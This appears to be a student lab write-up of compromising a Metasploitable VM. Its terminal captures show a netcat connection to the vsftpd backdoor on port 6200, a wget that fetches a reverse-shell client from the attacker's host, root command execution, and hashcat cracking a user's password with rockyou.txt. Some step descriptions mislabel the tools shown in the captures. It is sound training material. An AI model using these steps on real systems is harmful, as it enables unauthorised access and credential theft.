

Establishing a reverse shell client

Using python, I wrote a reverse shell client, in which it's purpose is to be installed on the machine I am attacking and it will initiate a connection from within the network to the attackers computer that is outside of the network. This gets around a firewall and NAT from a companies network. Next, I wrote a bind shell, which allows me to execute commands remotely from my computer to the compromised machine. In my case, I am attacking a vulnerable Metasploitable virtual machine from my kali linux virtual machine.

```
kbcastolini@kali: ~/Desktop/Shells
File Actions Edit View Help
(kbcastolini@kali)-[~]
$ cd ~/Desktop/Shells
(kbcastolini@kali)-[~/Desktop/Shells]
$ python3 revShellServer.py
Bot master listening and awaiting instructions
```

a

```
kbcastolini@kali: ~/Desktop/Shells
File Actions Edit View Help
(kbcastolini@kali)-[~]
$ cd ~/Desktop/Shells
(kbcastolini@kali)-[~/Desktop/Shells]
$ python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
```

b

```
kbcastolini@kali: -
File Actions Edit View Help
$ nc 192.168.1.103 6200
mkdir shell
mkdir: cannot create directory 'shell': File exists
cd shell
wget http://192.168.1.101:8080/revShellClient.py
--09:56:24-- http://192.168.1.101:8080/revShellClient.py
=> 'revShellClient.py'
Connecting to 192.168.1.101:8080... connected.
HTTP request sent, awaiting response... 404 File not found
09:56:24 ERROR 404: File not found.

wget http://192.168.1.101:8080/revShellClient.py
--10:00:32-- http://192.168.1.101:8080/revShellClient.py
=> 'revShellClient.py'
Connecting to 192.168.1.101:8080... connected.
HTTP request sent, awaiting response... 404 File not found
10:00:32 ERROR 404: File not found.

wget http://192.168.1.101:8080/revShellClient.py
--10:03:31-- http://192.168.1.101:8080/revShellClient.py
=> 'revShellClient.py'
Connecting to 192.168.1.101:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 904 [text/x-python]

0K 100% 553.61 KB/s
10:03:31 (553.61 KB/s) - 'revShellClient.py' saved [904/904]
```

c

d

```
kbcastolini@kali: ~/Desktop/Shells
File Actions Edit View Help
(kbcastolini@kali)-[~]
$ cd ~/Desktop/Shells
(kbcastolini@kali)-[~/Desktop/Shells]
$ python3 revShellServer.py
Bot master listening and awaiting instructions
Connection established with ('192.168.1.103', 50516)
b'Bot ready and waiting!'
Please enter a bot command: whoami
root

Please enter a bot command: pwd
/shell

Please enter a bot command: ls
revShellClient.py

Please enter a bot command: 
```

e

- Get the server ready to go, await the client to connect to it
- Start a local web server using netcat (nc) that will serve the reverse shell client that I created to the metasploitable virtual machine (compromised machine)
- Establish an FTP connection from the kali terminal to the metasploitable machine (ip address 192.168.1.103 in my case as shown in screenshot) the login credentials used are that of the metasploitable machine
- In order to create a working reverse shell, we are connecting to the vsftp backdoor shell on port 6200. A new directory is created on my metasploitable machine that we use to download the reverse shell python client from the kali box. "200 OK" lets me know that the download was successful
- In this screenshot we can see we gained access to the metasploitable machine via reverse shell. All I had to do was call the reverse shell server and it is ready for me to execute commands as if I am in the terminal of the metasploitable machine.

```

kbcastolini@kali: ~/Desktop/Project2_WordLists
File Actions Edit View Help
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashfile 'Hashes' on line 1 (05b47156dac156b841c412527eb08642): Token length exception
Hashfile 'Hashes' on line 2 (0883E2053820240026AA3A0D202AD267): Token length exception
Hashfile 'Hashes' on line 4 (5ef22fe0bb2868a9f8ae4bb7adc14cd): Token length exception

* Token length exception: 3/4 hashes
  This error happens if the wrong hash type is specified, if the hashes are
  malformed, or if input is otherwise not as expected (for example, if the
  --username option is used but no username is present)

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Hash
* Single-Salt
* Rye-Hash
* Uses-64-Bit

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 0 MB

Dictionary cache built:
* Filename..: rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 0 secs

eaf187e4eb6bfa7d913f0afc4d6f94f1f0ae67d452526beccf8534ebd09e6b953578ed21acd10e015a439ba0dbb4b91a2a
beb0aee4492b5a1b93a0ad1a10c05:liverpool

```

At the bottom of this final screenshot, Zoe's hash along with the now compromised password, "liverpool" is shown.